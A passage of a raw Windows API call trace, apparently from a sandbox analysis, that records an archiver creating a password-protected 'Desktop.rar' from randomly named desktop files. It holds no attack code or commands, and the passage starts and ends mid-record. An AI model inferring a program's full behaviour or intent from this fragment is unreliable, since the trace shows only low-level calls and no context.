hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0xad340 [0067.301] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0067.301] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.301] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a656fb0 [0067.301] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.301] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.301] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a6569c0 [0067.301] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.301] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.301] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.301] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef640 [0067.301] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef640 | out: hHeap=0x1ec0a590000) returned 1 [0067.301] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0067.301] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef700, Size=0x48) returned 0x1ec0a656c90 [0067.301] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656c90, Size=0x7a) returned 0x1ec0a64a460 [0067.301] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a463*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a463*, lpNumberOfBytesWritten=0xe414d8140*=0x63, lpOverlapped=0x0) returned 1 [0067.302] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef6d0 [0067.302] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x63) returned 0x1ec0a5c4c60 [0067.302] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.302] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0067.302] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xb8063 [0067.302] CloseHandle (hObject=0x350) returned 1 [0067.302] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.302] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.302] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.302] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.302] FindFirstFileW (in: lpFileName="HBzA3ifwtSZxE.avi", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.302] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.302] CreateFileW (lpFileName="HBzA3ifwtSZxE.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\hbza3ifwtszxe.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.302] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.302] GetTickCount () returned 0x26b81 [0067.302] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.302] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.302] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.302] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.302] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="H9Q00myyEZo.mp3") returned 15 [0067.302] SetWindowTextW (hWnd=0x1028c, lpString="HBzA3ifwtSZxE.avi") returned 1 [0067.304] GetTickCount () returned 0x26b81 [0067.304] UpdateWindow (hWnd=0x10284) returned 1 [0067.304] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.304] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.304] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.304] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.304] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x314)) [0067.304] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.305] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15863315363) returned 1 [0067.305] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x1276e, lpOverlapped=0x0) returned 1 [0067.305] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d9177ae, nNumberOfBytesToRead=0xed892, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d9177ae*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.305] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.305] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.305] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef610 [0067.305] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd60 [0067.305] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd60, Size=0x48) returned 0x1ec0a6577d0 [0067.305] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0067.305] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefaf0 [0067.305] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefaf0, Size=0x48) returned 0x1ec0a656fb0 [0067.305] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0067.305] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.305] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.305] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.305] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0067.305] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb80 | out: hHeap=0x1ec0a590000) returned 1 [0067.305] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef610, Size=0x48) returned 0x1ec0a6577d0 [0067.305] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a190 [0067.305] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.305] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a190 | out: hHeap=0x1ec0a590000) returned 1 [0067.307] GetTickCount () returned 0x26b81 [0067.307] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15863516626) returned 1 [0067.307] GetTickCount () returned 0x26b81 [0067.307] GetTickCount () returned 0x26b81 [0067.307] GetTickCount () returned 0x26b81 [0067.307] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.307] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.307] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.307] ResetEvent (hEvent=0x344) returned 1 [0067.307] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.310] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.310] ResetEvent (hEvent=0x344) returned 1 [0067.310] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.313] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.313] ResetEvent (hEvent=0x344) returned 1 [0067.313] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.315] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.315] GetTickCount () returned 0x26b91 [0067.315] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15864328062) returned 1 [0067.315] GetTickCount () returned 0x26b91 [0067.315] GetTickCount () returned 0x26b91 [0067.315] GetTickCount () returned 0x26b91 [0067.315] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.318] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.318] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.318] ResetEvent (hEvent=0x33c) returned 1 [0067.318] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.319] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.319] ResetEvent (hEvent=0x33c) returned 1 [0067.319] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.320] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.320] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.320] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.320] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0xb8063 [0067.320] SetFilePointer (in: hFile=0x32c, lDistanceToMove=101, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0xb80c8 [0067.320] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.320] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.320] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.320] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.320] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x12810, lpOverlapped=0x0) returned 1 [0067.322] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.322] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.322] SetFilePointer (in: hFile=0x32c, lDistanceToMove=753763, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xb8063 [0067.322] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0xb8063 [0067.322] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefac0 [0067.322] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.322] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656ab0 [0067.322] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.322] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef610 [0067.322] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef610, Size=0x48) returned 0x1ec0a6577d0 [0067.322] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.322] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656ab0 | out: hHeap=0x1ec0a590000) returned 1 [0067.322] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0067.322] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0067.322] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa00 | out: hHeap=0x1ec0a590000) returned 1 [0067.322] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0067.322] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefac0, Size=0x48) returned 0x1ec0a6569c0 [0067.322] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a649f50 [0067.323] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649f53*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649f53*, lpNumberOfBytesWritten=0xe414d8140*=0x65, lpOverlapped=0x0) returned 1 [0067.323] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa60 [0067.323] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x65) returned 0x1ec0a5c4cd0 [0067.323] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.323] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649f50 | out: hHeap=0x1ec0a590000) returned 1 [0067.323] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xca8d8 [0067.323] CloseHandle (hObject=0x350) returned 1 [0067.323] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.323] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.323] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.324] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.325] FindFirstFileW (in: lpFileName="hh4lRnb.ods", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.325] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.325] CreateFileW (lpFileName="hh4lRnb.ods" (normalized: "c:\\users\\fd1hvy\\desktop\\hh4lrnb.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.325] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.325] GetTickCount () returned 0x26ba1 [0067.325] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.325] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.325] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.325] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.325] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="HBzA3ifwtSZxE.avi") returned 17 [0067.325] SetWindowTextW (hWnd=0x1028c, lpString="hh4lRnb.ods") returned 1 [0067.326] GetTickCount () returned 0x26ba1 [0067.326] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.326] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.326] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.326] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.326] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x333)) [0067.326] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.326] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15865462728) returned 1 [0067.326] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x670b, lpOverlapped=0x0) returned 1 [0067.326] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90b74b, nNumberOfBytesToRead=0xf98f5, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90b74b*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.326] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.326] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.326] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a6569c0 [0067.326] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.326] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.326] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a6577d0 [0067.326] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.326] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.326] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.326] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.326] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0067.326] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0067.326] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6569c0 [0067.327] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a64a190 [0067.327] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.327] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a190 | out: hHeap=0x1ec0a590000) returned 1 [0067.328] GetTickCount () returned 0x26ba1 [0067.328] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15865713147) returned 1 [0067.329] GetTickCount () returned 0x26ba1 [0067.329] GetTickCount () returned 0x26ba1 [0067.329] GetTickCount () returned 0x26ba1 [0067.329] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.329] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.329] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.329] ResetEvent (hEvent=0x344) returned 1 [0067.329] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.330] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.330] ResetEvent (hEvent=0x344) returned 1 [0067.330] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.331] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.331] GetTickCount () returned 0x26ba1 [0067.331] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15865995405) returned 1 [0067.331] GetTickCount () returned 0x26ba1 [0067.331] GetTickCount () returned 0x26ba1 [0067.331] GetTickCount () returned 0x26ba1 [0067.331] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.331] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.331] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.332] ResetEvent (hEvent=0x33c) returned 1 [0067.332] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.332] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.332] ResetEvent (hEvent=0x33c) returned 1 [0067.332] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.332] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.332] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.332] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.333] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0xca8d8 [0067.333] SetFilePointer (in: hFile=0x32c, lDistanceToMove=95, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0xca937 [0067.333] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.333] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.333] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.333] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.333] WriteFile (in: hFile=0x32c, 